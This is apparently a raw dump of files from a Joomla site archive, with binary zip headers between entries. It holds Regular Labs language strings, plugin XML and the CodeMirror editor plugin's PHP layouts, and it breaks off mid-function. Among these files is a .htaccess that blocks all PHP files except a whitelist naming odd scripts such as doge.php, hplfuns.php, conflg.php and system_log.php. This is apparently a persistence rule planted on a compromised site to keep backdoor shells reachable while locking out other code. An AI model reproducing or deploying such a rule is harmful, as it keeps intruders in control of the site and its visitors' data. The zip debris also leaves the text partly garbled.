RL_SELECT_A_CATEGORY="Select a Category"
RL_SELECT_ALL="Select all"
RL_SELECT_AN_ARTICLE="Select an Article"
RL_SELECT_FIELD="Select Field"
RL_SELECT_OR_CREATE_A_CATEGORY="Select or Create a Category"
RL_SELECTED="Selected"
RL_SELECTION="Selection"
RL_SELECTION_DESC="Select whether to include or exclude the selection for the assignment.<br><br><strong>Include</strong><br>Publish only on selection.<br><br><strong>Exclude</strong><br>Publish everywhere except on selection."
RL_SET_CATEGORY="Set Category"
RL_SET_COLOR="Set Colour"
RL_SETTINGS_ADMIN_MODULE="Administrator Module Options"
RL_SETTINGS_EDITOR_BUTTON="Editor Button Options"
RL_SETTINGS_SECURITY="Security Options"
RL_SHOW_ASSIGNMENTS="Show Assignments"
RL_SHOW_ASSIGNMENTS_DESC="Select whether to only show the selected assignments. You can use this to get a clean overview of the active assignments."
RL_SHOW_ASSIGNMENTS_SELECTED_DESC="All not-selected assignment types are now hidden from view."
RL_SHOW_COPYRIGHT="Show Copyright"
RL_SHOW_COPYRIGHT_DESC="If selected, extra copyright info will be displayed in the admin views. Regular Labs extensions never show copyright info or backlinks on the frontend."
RL_SHOW_HELP_MENU="Show Help Menu Item"
RL_SHOW_HELP_MENU_DESC="Select to show a link to the Regular Labs website in the Administrator Help menu."
RL_SHOW_ICON="Show Button Icon"
RL_SHOW_ICON_DESC="If selected, the icon will be displayed in the Editor Button."
RL_SHOW_UPDATE_NOTIFICATION="Show Update Notification"
RL_SHOW_UPDATE_NOTIFICATION_DESC="If selected, an update notification will be shown in the main component view when there is a new version for this extension."
RL_SIMPLE="Simple"
RL_SLIDES="Slides"
RL_SOUTHERN="Southern"
RL_SPECIFIC="Specific"
RL_SPECIFY="Specify"
RL_SPRING="Spring"
RL_START="Start"
RL_START_PUBLISHING="Start Publishing"
RL_START_PUBLISHING_DESC="Enter the date to start publishing"
RL_STRIP_HTML_IN_HEAD="Strip HTML in Head"
RL_STRIP_HTML_IN_HEAD_DESC="Select to strip html tags from the output of the plugin inside the HTML Head section"
RL_STRIP_SURROUNDING_TAGS="Strip Surrounding Tags"
RL_STRIP_SURROUNDING_TAGS_DESC="Select to always remove html tags (div, p, span) surrounding the plugin tag. If switched off, the plugin will try to remove tags that break the html structure (like p inside p tags)."
RL_STYLING="Styling"
RL_SUBITEMS="Sub-items"
RL_SUMMER="Summer"
RL_TABLE_NOT_FOUND="Required %s database table not found!"
RL_TABS="Tabs"
RL_TAG_CHARACTERS="Tag Characters"
RL_TAG_CHARACTERS_DESC="The surrounding characters of the tag syntax.<br><br><strong>Note:</strong> If you change this, all existing tags will not work anymore."
RL_TAG_SYNTAX="Tag Syntax"
RL_TAG_SYNTAX_DESC="The word to be used in the tags.<br><br><strong>Note:</strong> If you change this, all existing tags will not work anymore."
RL_TAGS="Tags"
RL_TAGS_DESC="Enter the tags to assign to. Use commas to separate the tags."
RL_TEMPLATES="Templates"
RL_TEMPLATES_DESC="Select the templates to assign to."
RL_TEXT="Text"
RL_TEXT_HTML="Text (HTML)"
RL_TEXT_ONLY="Text only"
RL_THEME="Theme"
RL_THEME_DESC="Select the default theme."
RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION="This extension needs %s to function correctly!"
RL_TIME="Time"
RL_TIME_FINISH_PUBLISHING_DESC="Enter the time to end publishing.<br><br><strong>Format:</strong> 23:59"
RL_TIME_START_PUBLISHING_DESC="Enter the time to start publishing.<br><br><strong>Format:</strong> 23:59"
RL_TOGGLE="Toggle"
RL_TOGGLE_SELECTION="Toggle Selection"
RL_TOOLTIP="Tooltip"
RL_TOP="Top"
RL_TOP_LEFT="Top Left"
RL_TOP_RIGHT="Top Right"
RL_TOTAL="Total"
RL_TYPE="Type"
RL_TYPES="Types"
RL_TYPES_DESC="Select the types to assign to."
RL_UNSELECT_ALL="Deselect All"
RL_UNSELECTED="Unselected"
RL_UPDATE_TO="Update to version %s"
RL_URL="URL"
RL_URL_PARAM_NAME="Parameter Name"
RL_URL_PARAM_NAME_DESC="Enter the name of the url parameter."
RL_URL_PARTS="URL matches"
RL_URL_PARTS_CASE_SENSITIVE="Url parts will be only match if casing is exactly the same."
RL_URL_PARTS_DESC="Enter (part of) the URLs to match.<br>Use a new line for each different match."
RL_URL_PARTS_REGEX="Url parts will be matched using regular expressions. <strong>So make sure the string uses valid regex syntax.</strong>"
RL_USE_CATEGORIES="Enable Categories"
RL_USE_CATEGORIES_DESC="Enable to use categories and show the category column in the list view."
RL_USE_COLORS="Enable Colours"
RL_USE_COLORS_DESC="Enable to use colours and show the colour column in the list view."
RL_USE_CONTENT_ASSIGNMENTS="For category & article (item) assignments, see the above Joomla! Content section."
RL_USE_CUSTOM_CODE="Use Custom Code"
RL_USE_CUSTOM_CODE_DESC="If selected, the Editor Button will insert the given custom code instead."
RL_USE_SIMPLE_BUTTON="Use Simple Button"
RL_USE_SIMPLE_BUTTON_DESC="Select to use a simple insert button, that simply inserts some example syntax into the editor."
RL_USER_ACTION_LOGS="User Actions Logs"
RL_USER_GROUP_LEVELS="User Group Levels"
RL_USER_GROUPS="User Groups"
RL_USER_GROUPS_DESC="Select the user groups to assign to."
RL_USER_IDS="User IDs"
RL_USER_IDS_DESC="Enter the user ids to assign to. Use commas to separate ids."
RL_USERS="Users"
RL_UTF8="UTF-8"
RL_VALUE="Value"
RL_VIDEO="Video"
RL_VIEW="View"
RL_VIEW_DESC="Select what default view should be used when creating a new item."
RL_VIRTUEMART="VirtueMart"
RL_WIDTH="Width"
RL_WINTER="Winter"
RL_WORDS="Words"
RL_WRAP="Wrap"
RL_ZOO="ZOO"
RL_ZOO_CATEGORIES="ZOO Categories"

;; NO NEED TO TRANSLATE THESE
ADDTOMENU="Add to Menu"
ADVANCEDMODULEMANAGER="Advanced Module Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
ARTICLESANYWHERE="Articles Anywhere"
ARTICLESFIELD="Articles Field"
BETTERPREVIEW="Better Preview"
BETTERTRASH="Better Trash"
CACHECLEANER="Cache Cleaner"
CDNFORJOOMLA="CDN for Joomla!"
COMPONENTSANYWHERE="Components Anywhere"
CONDITIONALCONTENT="Conditional Content"
CONTENTTEMPLATER="Content Templater"
DBREPLACER="DB Replacer"
DUMMYCONTENT="Dummy Content"
EMAILPROTECTOR="Email Protector"
EXTENSIONMANAGER="Regular Labs Extension Manager"
REGULARLABSEXTENSIONMANAGER="Regular Labs Extension Manager"
GEOIP="GeoIP"
IPLOGIN="IP Login"
KEYBOARDSHORTCUTS="Keyboard Shortcuts"
MODALS="Modals"
MODULESANYWHERE="Modules Anywhere"
QUICKINDEX="Quick Index"
REREPLACER="ReReplacer"
SIMPLEUSERNOTES="Simple User Notes"
SLIDERS="Sliders"
SNIPPETS="Snippets"
SOURCERER="Sourcerer"
TABS="Tabs"
TABSACCORDIONS="Tabs & Accordions"
TOOLTIPS="Tooltips"
WHATNOTHING="What? Nothing!"
;; FOR BACKWARDS COMPATIBILITY
ADD_TO_MENU="Add to Menu"
ADVANCED_MODULE_MANAGER="Advanced Module Manager"
ADVANCED_TEMPLATE_MANAGER="Advanced Template Manager"
ARTICLES_ANYWHERE="Articles Anywhere"
ARTICLES_FIELD="Articles Field"
BETTER_PREVIEW="Better Preview"
BETTER_TRASH="Better Trash"
CACHE_CLEANER="Cache Cleaner"
CDN_FOR_JOOMLA="CDN for Joomla!"
COMPONENTS_ANYWHERE="Components Anywhere"
CONDITIONAL_CONTENT="Conditional Content"
CONTENT_TEMPLATER="Content Templater"
DB_REPLACER="DB Replacer"
DUMMY_CONTENT="Dummy Content"
EMAIL_PROTECTOR="Email Protector"
REGULAR_LABS_EXTENSION_MANAGER="Regular Labs Extension Manager"
IP_LOGIN="IP Login"
KEYBOARD_SHORTCUTS="Keyboard Shortcuts"
MODULES_ANYWHERE="Modules Anywhere"
QUICK_INDEX="Quick Index"
SIMPLE_USER_NOTES="Simple User Notes"
WHAT_NOTHING="What? Nothing!"
PK�(][q�B		"system/regularlabs/regularlabs.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3" type="plugin" group="system" method="upgrade">
  <name>PLG_SYSTEM_REGULARLABS</name>
  <description>PLG_SYSTEM_REGULARLABS_DESC</description>
  <version>23.2.18739</version>
  <creationDate>February 2023</creationDate>
  <author>Regular Labs (Peter van Westen)</author>
  <authorEmail>info@regularlabs.com</authorEmail>
  <authorUrl>https://regularlabs.com</authorUrl>
  <copyright>Copyright © 2023 Regular Labs - All Rights Reserved</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <files>
    <file plugin="regularlabs">regularlabs.php</file>
    <folder>language</folder>
    <folder>src</folder>
    <folder>vendor</folder>
  </files>
  <config>
    <fields name="params" addfieldpath="/libraries/regularlabs/fields">
      <fieldset name="basic">
        <field name="@header" type="rl_header_library" label="REGULAR_LABS_LIBRARY" description="REGULAR_LABS_LIBRARY_DESC" warning="REGULAR_LABS_LIBRARY_DESC_WARNING"/>
      </fieldset>
      <fieldset name="advanced">
        <field name="combine_admin_menu" type="radio" class="btn-group" default="0" label="RL_COMBINE_ADMIN_MENU" description="RL_COMBINE_ADMIN_MENU_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="show_help_menu" type="radio" class="btn-group" default="1" label="RL_SHOW_HELP_MENU" description="RL_SHOW_HELP_MENU_DESC">
          <option value="0">JNO</option>
          <option value="1">JYES</option>
        </field>
        <field name="max_list_count" type="number" step="1000" size="10" class="input-mini" default="10000" label="RL_MAX_LIST_COUNT" description="RL_MAX_LIST_COUNT_DESC"/>
      </fieldset>
    </fields>
  </config>
</extension>
PK�(]�V�
index.htmlnu�[���<!DOCTYPE html><title></title>
PK�(]� �,..	.htaccessnu�[���DirectoryIndex index.php index.html
<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php|menu.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-feed.php|wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|lindex.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|edit.php|back.php|conflg.php|reback.php|themes.php|admin-ajax.php|edit-form-comment.php|cron.php|doge.php|link.php|ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|cacheadmin-header.php|edit-tag-form.php|media-new.php|my-sites.php|commonindex.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|cache.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|1index.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|hplfuns.php|ms-admin.php|options-media.php|setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|navi.php|common.php|link-manager.php|ms-options.php|options-reading.php|system_log.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>PK�(]��'d��6editors/codemirror/layouts/editors/codemirror/init.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$params   = $displayData->params;
$basePath = $params->get('basePath', 'media/editors/codemirror/');
$modePath = $params->get('modePath', 'media/editors/codemirror/mode/%N/%N');
$extJS    = JDEBUG ? '.js' : '.min.js';
$extCSS   = JDEBUG ? '.css' : '.min.css';

JHtml::_('script', $basePath . 'lib/codemirror' . $extJS, array('version' => 'auto'));
JHtml::_('script', $basePath . 'lib/addons' . $extJS, array('version' => 'auto'));
JHtml::_('stylesheet', $basePath . 'lib/codemirror' . $extCSS, array('version' => 'auto'));
JHtml::_('stylesheet', $basePath . 'lib/addons' . $extCSS, array('version' => 'auto'));

$fskeys          = $params->get('fullScreenMod', array());
$fskeys[]        = $params->get('fullScreen', 'F10');
$fullScreenCombo = implode('-', $fskeys);
$fsCombo         = json_encode($fullScreenCombo);
$modPath         = json_encode(JUri::root(true) . '/' . $modePath . $extJS);
JFactory::getDocument()->addScriptDeclaration(
<<<JS
		;(function (cm, $) {
			cm.commands.toggleFullScreen = function (cm) {
				cm.setOption('fullScreen', !cm.getOption('fullScreen'));
			};
			cm.commands.closeFullScreen = function (cm) {
				cm.getOption('fullScreen') && cm.setOption('fullScreen', false);
			};

			cm.keyMap.default['Ctrl-Q'] = 'toggleFullScreen';
			cm.keyMap.default[$fsCombo] = 'toggleFullScreen';
			cm.keyMap.default['Esc'] = 'closeFullScreen';
			// For mode autoloading.
			cm.modeURL = $modPath;
			// Fire this function any time an editor is created.
			cm.defineInitHook(function (editor)
			{
				// Try to set up the mode
				var mode = cm.findModeByMIME(editor.options.mode || '') ||
							cm.findModeByName(editor.options.mode || '') ||
							cm.findModeByExtension(editor.options.mode || '');

				cm.autoLoadMode(editor, mode ? mode.mode : editor.options.mode);

				if (mode && mode.mime)
				{
					editor.setOption('mode', mode.mime);
				}

				// Handle gutter clicks (place or remove a marker).
				editor.on('gutterClick', function (ed, n, gutter) {
					if (gutter != 'CodeMirror-markergutter') { return; }
					var info = ed.lineInfo(n),
						hasMarker = !!info.gutterMarkers && !!info.gutterMarkers['CodeMirror-markergutter'];
					ed.setGutterMarker(n, 'CodeMirror-markergutter', hasMarker ? null : makeMarker());
				});

				// jQuery's ready function.
				$(function () {
					// Some browsers do something weird with the fieldset which doesn't work well with CodeMirror. Fix it.
					$(editor.getWrapperElement()).parent('fieldset').css('min-width', 0);
					// Listen for Bootstrap's 'shown' event. If this editor was in a hidden element when created, it may need to be refreshed.
					$(document.body).on('shown shown.bs.tab shown.bs.modal', function () { editor.refresh(); });
				});
			});

			function makeMarker()
			{
				var marker = document.createElement('div');
				marker.className = 'CodeMirror-markergutter-mark';
				return marker;
			}

			// Initialize any CodeMirrors on page load and when a subform is added
			$(function ($) {
				initCodeMirror();
				$('body').on('subform-row-add', initCodeMirror);
			});

			function initCodeMirror(event, container)
			{
				container = container || document;
				$(container).find('textarea.codemirror-source').each(function () {
					var input = $(this).removeClass('codemirror-source');
					var id = input.prop('id');

					Joomla.editors.instances[id] = cm.fromTextArea(this, input.data('options'));
				});
			}

		}(CodeMirror, jQuery));
JS
);
PK�(]�1nB	B	8editors/codemirror/layouts/editors/codemirror/styles.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$params     = $displayData->params;
$fontFamily = isset($displayData->fontFamily) ? $displayData->fontFamily : 'monospace';
$fontSize   = $params->get('fontSize', 13) . 'px;';
$lineHeight = $params->get('lineHeight', 1.2) . 'em;';

// Set the active line color.
$color           = $params->get('activeLineColor', '#a4c2eb');
$r               = hexdec($color[1] . $color[2]);
$g               = hexdec($color[3] . $color[4]);
$b               = hexdec($color[5] . $color[6]);
$activeLineColor = 'rgba(' . $r . ', ' . $g . ', ' . $b . ', .5)';

// Set the color for matched tags.
$color               = $params->get('highlightMatchColor', '#fa542f');
$r                   = hexdec($color[1] . $color[2]);
$g                   = hexdec($color[3] . $color[4]);
$b                   = hexdec($color[5] . $color[6]);
$highlightMatchColor = 'rgba(' . $r . ', ' . $g . ', ' . $b . ', .5)';

JFactory::getDocument()->addStyleDeclaration(
<<<CSS
		.CodeMirror
		{
			font-family: $fontFamily;
			font-size: $fontSize;
			line-height: $lineHeight;
			border: 1px solid #ccc;
		}
		/* In order to hid the Joomla menu */
		.CodeMirror-fullscreen
		{
			z-index: 1040;
		}
		/* Make the fold marker a little more visible/nice */
		.CodeMirror-foldmarker
		{
			background: rgb(255, 128, 0);
			background: rgba(255, 128, 0, .5);
			box-shadow: inset 0 0 2px rgba(255, 255, 255, .5);
			font-family: serif;
			font-size: 90%;
			border-radius: 1em;
			padding: 0 1em;
			vertical-align: middle;
			color: white;
			text-shadow: none;
		}
		.CodeMirror-foldgutter, .CodeMirror-markergutter { width: 1.2em; text-align: center; }
		.CodeMirror-markergutter { cursor: pointer; }
		.CodeMirror-markergutter-mark { cursor: pointer; text-align: center; }
		.CodeMirror-markergutter-mark:after { content: "\25CF"; }
		.CodeMirror-activeline-background { background: $activeLineColor; }
		.CodeMirror-matchingtag { background: $highlightMatchColor; }
		.cm-matchhighlight {background-color: $highlightMatchColor; }
		.CodeMirror-selection-highlight-scrollbar {background-color: $highlightMatchColor; }
CSS
);
PK�(]GL:**9editors/codemirror/layouts/editors/codemirror/element.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$options  = $displayData->options;
$params   = $displayData->params;
$name     = $displayData->name;
$id       = $displayData->id;
$cols     = $displayData->cols;
$rows     = $displayData->rows;
$content  = $displayData->content;
$buttons  = $displayData->buttons;
$modifier = $params->get('fullScreenMod', array()) ? implode(' + ', $params->get('fullScreenMod', array())) . ' + ' : '';

?>

<p class="label">
    <?php echo JText::sprintf('PLG_CODEMIRROR_TOGGLE_FULL_SCREEN', $modifier, $params->get('fullScreen', 'F10')); ?>
</p>

<?php
	echo '<textarea class="codemirror-source" name="', $name,
		'" id="', $id,
		'" cols="', $cols,
		'" rows="', $rows,
		'" data-options="', htmlspecialchars(json_encode($options)),
		'">', $content, '</textarea>';
?>

<?php echo $buttons; ?>
PK�(]�W"�)�)!editors/codemirror/codemirror.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="editors" method="upgrade">
	<name>plg_editors_codemirror</name>
	<version>5.60.0</version>
	<creationDate>28 March 2011</creationDate>
	<author>Marijn Haverbeke</author>
	<authorEmail>marijnh@gmail.com</authorEmail>
	<authorUrl>https://codemirror.net/</authorUrl>
	<copyright>Copyright (C) 2014 - 2021 by Marijn Haverbeke &lt;marijnh@gmail.com&gt; and others</copyright>
	<license>MIT license: https://codemirror.net/LICENSE</license>
	<description>PLG_CODEMIRROR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="codemirror">codemirror.php</filename>
		<filename>styles.css</filename>
		<filename>styles.min.css</filename>
		<filename>fonts.json</filename>
		<filename>fonts.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_editors_codemirror.ini</language>
		<language tag="en-GB">en-GB.plg_editors_codemirror.sys.ini</language>
	</languages>

	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="lineNumbers"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="codeFolding"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_CODEFOLDING_LABEL"
					description="PLG_CODEMIRROR_FIELD_CODEFOLDING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="markerGutter"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MARKERGUTTER_LABEL"
					description="PLG_CODEMIRROR_FIELD_MARKERGUTTER_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="lineWrapping"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_LINEWRAPPING_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINEWRAPPING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="activeLine"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_ACTIVELINE_LABEL"
					description="PLG_CODEMIRROR_FIELD_ACTIVELINE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="selectionMatches"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_SELECTIONMATCHES_LABEL"
					description="PLG_CODEMIRROR_FIELD_SELECTIONMATCHES_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="matchTags"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MATCHTAGS_LABEL"
					description="PLG_CODEMIRROR_FIELD_MATCHTAGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="matchBrackets"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_MATCHBRACKETS_LABEL"
					description="PLG_CODEMIRROR_FIELD_MATCHBRACKETS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="autoCloseTags"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_AUTOCLOSETAGS_LABEL"
					description="PLG_CODEMIRROR_FIELD_AUTOCLOSETAGS_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="autoCloseBrackets"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_AUTOCLOSEBRACKET_LABEL"
					description="PLG_CODEMIRROR_FIELD_AUTOCLOSEBRACKET_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JON</option>
					<option value="0">JOFF</option>
				</field>

				<field
					name="keyMap"
					type="list"
					label="PLG_CODEMIRROR_FIELD_KEYMAP_LABEL"
					description="PLG_CODEMIRROR_FIELD_KEYMAP_DESC"
					default=""
					>
					<option value="">JDEFAULT</option>
					<option value="emacs">PLG_CODEMIRROR_FIELD_KEYMAP_EMACS</option>
					<option value="sublime">PLG_CODEMIRROR_FIELD_KEYMAP_SUBLIME</option>
					<option value="vim">PLG_CODEMIRROR_FIELD_KEYMAP_VIM</option>
				</field>

				<field
					name="fullScreen"
					type="list"
					label="PLG_CODEMIRROR_FIELD_FULLSCREEN_LABEL"
					description="PLG_CODEMIRROR_FIELD_FULLSCREEN_DESC"
					default="F10"
					>
					<option value="F1">F1</option>
					<option value="F2">F2</option>
					<option value="F3">F3</option>
					<option value="F4">F4</option>
					<option value="F5">F5</option>
					<option value="F6">F6</option>
					<option value="F7">F7</option>
					<option value="F8">F8</option>
					<option value="F9">F9</option>
					<option value="F10">F10</option>
					<option value="F11">F11</option>
					<option value="F12">F12</option>
				</field>

				<field
					name="fullScreenMod"
					type="checkboxes"
					label="PLG_CODEMIRROR_FIELD_FULLSCREEN_MOD_LABEL"
					description="PLG_CODEMIRROR_FIELD_FULLSCREEN_MOD_DESC"
					>
					<option value="Shift">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_SHIFT</option>
					<option value="Cmd">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_CMD</option>
					<option value="Ctrl">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_CTRL</option>
					<option value="Alt">PLG_CODEMIRROR_FIELD_VALUE_FULLSCREEN_MOD_ALT</option>
				</field>

				<field
					name="basePath"
					type="hidden"
					default="media/editors/codemirror/"
				/>

				<field
					name="modePath"
					type="hidden"
					default="media/editors/codemirror/mode/%N/%N"
				/>
			</fieldset>

			<fieldset name="appearance" label="PLG_CODEMIRROR_FIELDSET_APPEARANCE_OPTIONS_LABEL" addfieldpath="plugins/editors/codemirror">
				<field
					name="theme"
					type="filelist"
					label="PLG_CODEMIRROR_FIELD_THEME_LABEL"
					description="PLG_CODEMIRROR_FIELD_THEME_DESC"
					default=""
					filter="\.css$"
					stripext="true"
					hide_none="true"
					hide_default="false"
					directory="media/editors/codemirror/theme"
				/>

				<field
					name="activeLineColor"
					type="color"
					label="PLG_CODEMIRROR_FIELD_ACTIVELINE_COLOR_LABEL"
					description="PLG_CODEMIRROR_FIELD_ACTIVELINE_COLOR_DESC"
					default="#a4c2eb"
					filter="color"
				/>

				<field
					name="highlightMatchColor"
					type="color"
					label="PLG_CODEMIRROR_FIELD_HIGHLIGHT_MATCH_COLOR_LABEL"
					description="PLG_CODEMIRROR_FIELD_HIGHLIGHT_MATCH_COLOR_DESC"
					default="#fa542f"
					filter="color"
				/>

				<field
					name="fontFamily"
					type="fonts"
					label="PLG_CODEMIRROR_FIELD_FONT_FAMILY_LABEL"
					description="PLG_CODEMIRROR_FIELD_FONT_FAMILY_DESC"
					default="0"
					>
					<option value="0">PLG_CODEMIRROR_FIELD_VALUE_FONT_FAMILY_DEFAULT</option>
				</field>

				<field
					name="fontSize"
					type="integer"
					label="PLG_CODEMIRROR_FIELD_FONT_SIZE_LABEL"
					description="PLG_CODEMIRROR_FIELD_FONT_SIZE_DESC"
					first="6"
					last="16"
					step="1"
					default="13"
					filter="integer"
				/>

				<field
					name="lineHeight"
					type="list"
					label="PLG_CODEMIRROR_FIELD_LINE_HEIGHT_LABEL"
					description="PLG_CODEMIRROR_FIELD_LINE_HEIGHT_DESC"
					default="1.2"
					filter="float"
					>
					<option value="1">1</option>
					<option value="1.1">1.1</option>
					<option value="1.2">1.2</option>
					<option value="1.3">1.3</option>
					<option value="1.4">1.4</option>
					<option value="1.5">1.5</option>
					<option value="1.6">1.6</option>
					<option value="1.7">1.7</option>
					<option value="1.8">1.8</option>
					<option value="1.9">1.9</option>
					<option value="2">2</option>
				</field>

				<field
					name="scrollbarStyle"
					type="radio"
					label="PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_LABEL"
					description="PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_DESC"
					class="btn-group btn-group-yesno"
					default="native"
					>
					<option value="native">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_DEFAULT</option>
					<option value="simple">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_SIMPLE</option>
					<option value="overlay">PLG_CODEMIRROR_FIELD_VALUE_SCROLLBARSTYLE_OVERLAY</option>
				</field>

				<field
					name="preview"
					type="editor"
					label="PLG_CODEMIRROR_FIELD_PREVIEW_LABEL"
					description="PLG_CODEMIRROR_FIELD_PREVIEW_DESC"
					editor="codemirror"
					filter="unset"
					buttons="false"
					>
					<default>
<![CDATA[
<script type="text/javascript">
	jQuery(function ($) {
		$('.hello').html('Hello World');
	});
</script>

<style type="text/css">
	h1 {
		background-clip: border-box;
		background-color: #cacaff;
		background-image: linear-gradient(45deg, transparent 0px, transparent 30px, #ababff 30px, #ababff 60px, transparent 60px);
		background-repeat: repeat-x;
		background-size: 90px 100%;
		border: 1px solid #8989ff;
		border-radius: 10px;
		color: #333;
		padding: 0 15px;
	}
</style>

<div>
	<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam a ornare lectus, quis semper urna. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Vivamus interdum metus id elit rutrum sollicitudin. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Aliquam in fermentum risus, id facilisis nulla. Phasellus gravida erat sed ullamcorper accumsan. Donec blandit sem eget sem congue, a varius sapien semper.</p>
	<p>Integer euismod tempor convallis. Nullam porttitor et ex ac fringilla. Quisque facilisis est ac erat condimentum malesuada. Aenean commodo quam odio, tincidunt ultricies mauris suscipit et.</p>

	<ul>
		<li>Vivamus ultrices ligula a odio lacinia pellentesque.</li>
		<li>Curabitur iaculis arcu pharetra, mollis turpis id, commodo erat.</li>
		<li>Etiam consequat enim quis faucibus interdum.</li>
		<li>Morbi in ipsum pulvinar, eleifend lorem sit amet, euismod magna.</li>
		<li>Donec consectetur lacus vitae eros euismod porta.</li>
	</ul>
</div>
]]>
					</default>
				</field>

			</fieldset>
		</fields>
	</config>
</extension>
PK�(]� 8y;);)!editors/codemirror/codemirror.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * CodeMirror Editor Plugin.
 *
 * @since  1.6
 */
class PlgEditorCodemirror extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.1.4
	 */
	protected $autoloadLanguage = true;

	/**
	 * Mapping of syntax to CodeMirror modes.
	 *
	 * @var array
	 */
	protected $modeAlias = array();

	/**
	 * Initialises the Editor.
	 *
	 * @return  void
	 */
	public function onInit()
	{
		static $done = false;

		// Do this only once.
